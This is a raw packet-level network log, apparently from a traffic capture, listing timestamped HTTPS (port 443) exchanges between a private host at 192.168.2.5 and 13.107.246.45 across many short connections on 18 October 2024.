Oct 18, 2024 23:46:25.193502903 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.193511009 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.193520069 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.195218086 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.195259094 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.195333004 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.195456028 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.195472002 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.861608982 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.862277031 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.862323046 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.862766027 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.862771988 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.896243095 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.896949053 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.896975994 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.897274971 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.897279024 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.922489882 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.923178911 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.923209906 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.923713923 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.923728943 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.934855938 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.935414076 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.935431957 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.935861111 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.935868025 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.945424080 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.945890903 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.945899963 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.946521997 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.946527004 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.990255117 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.990402937 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.990463972 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.990696907 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.990726948 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.990736961 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.990741968 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.996819973 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.996879101 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:25.996958017 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.997106075 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:25.997126102 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.028521061 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.028996944 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.029064894 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.029112101 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.029112101 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.029136896 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.029145956 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.031862020 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.031893969 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.031958103 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.032100916 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.032113075 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.052573919 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.052825928 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.052892923 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.052956104 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.052978992 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.052993059 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.052999973 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.055752993 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.055763960 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.055833101 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.055982113 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.055993080 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.066209078 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.066351891 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.066411018 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.066457987 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.066457987 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.066474915 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.066484928 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.068917990 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.068974018 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.069106102 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.069185972 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.069202900 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.079171896 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.079252005 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.079319954 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.079497099 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.079504967 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.079530954 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.079535961 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.082138062 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.082175970 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.082252979 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.082421064 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.082436085 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.726214886 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.727297068 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.727325916 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.727765083 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.727771044 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.754172087 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.755036116 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.755059004 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.755398989 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.755404949 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.803375006 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.804351091 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.804361105 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.804704905 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.804709911 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.827142954 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.827862024 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.827918053 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.828236103 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.828243017 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.839406967 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.840029001 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.840091944 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.840270996 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.840290070 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.853246927 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.853425980 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.853488922 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.853527069 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.853527069 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.853549957 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.853558064 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.857835054 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.857896090 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.858032942 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.858181000 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.858200073 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.881273031 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.881609917 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.881668091 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.881694078 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.881710052 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.881721020 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.881726027 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.884429932 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.884486914 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.884557009 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.884705067 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.884721994 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.968059063 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.968319893 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.968374014 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.968580008 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.968602896 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.968614101 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.968621016 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.971962929 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.972009897 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.972074032 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.972230911 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.972243071 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.972812891 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.972893953 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.972934008 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.972996950 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.973006010 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.973023891 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.973031044 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.975140095 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.975182056 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:26.975246906 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.975394011 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:26.975410938 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.039125919 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.039293051 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.039366007 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.039555073 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.039572954 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.039585114 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.039591074 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.045753002 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.045798063 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.045872927 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.046015978 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.046032906 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.630132914 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.630877018 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.630917072 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.631454945 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.631462097 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.636929989 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.637249947 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.637264013 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.637633085 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.637636900 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.705945969 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.706418991 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.706500053 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.706872940 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.706888914 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.716344118 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.716804028 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.716897011 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.717338085 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.717354059 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.766680956 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.766876936 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.766978979 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.767190933 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.767218113 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.767227888 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.767234087 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.769821882 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.769875050 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.769957066 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.770106077 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.770121098 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.771333933 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.771560907 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.771615028 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.771648884 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.771653891 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.771671057 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.771675110 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.773669004 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.773734093 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.773830891 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.773930073 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.773957968 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.796356916 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.796819925 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.796835899 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.797374010 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.797378063 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.837048054 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.837126017 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.837299109 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.837604046 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.837635040 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.837661982 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.837675095 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.840349913 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.840390921 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.840487957 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.840759039 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.840773106 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.848463058 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.848542929 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.848611116 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.848746061 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.848783970 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.848810911 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.848825932 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.851099968 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.851170063 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.851246119 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.851382017 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.851406097 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.928160906 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.928234100 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.928394079 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.929011106 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.929011106 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.929028034 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.929035902 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.932434082 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.932482958 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:27.932552099 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.933345079 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:27.933360100 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.499984980 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.500495911 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.500525951 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.500991106 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.500998974 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.515799046 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.516239882 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.516300917 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.516696930 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.516711950 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.567661047 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.568221092 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.568233013 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.568701982 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.568706989 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.583761930 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.584258080 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.584305048 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.584712982 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.584719896 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.630224943 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.630291939 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.630382061 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.635792017 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.635813951 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.635833025 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.635838985 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.638593912 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.638622046 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.638701916 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.638863087 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.638871908 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.647420883 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.647481918 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.647548914 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.647770882 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.647772074 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.647816896 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.647845030 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.651149988 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.651236057 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.651339054 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.651448011 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.651484013 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.661648989 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.662249088 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.662265062 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.662704945 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.662709951 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.695698977 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.695796013 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.695861101 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.696001053 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.696013927 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.696039915 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.696050882 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.698605061 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.698657036 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.698754072 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.698924065 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.698945045 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.711900949 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.712327957 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.712405920 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.712538958 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.712559938 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.712573051 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.712578058 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.716938019 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.717000008 CEST	443	49782	13.107.246.45	192.168.2.5
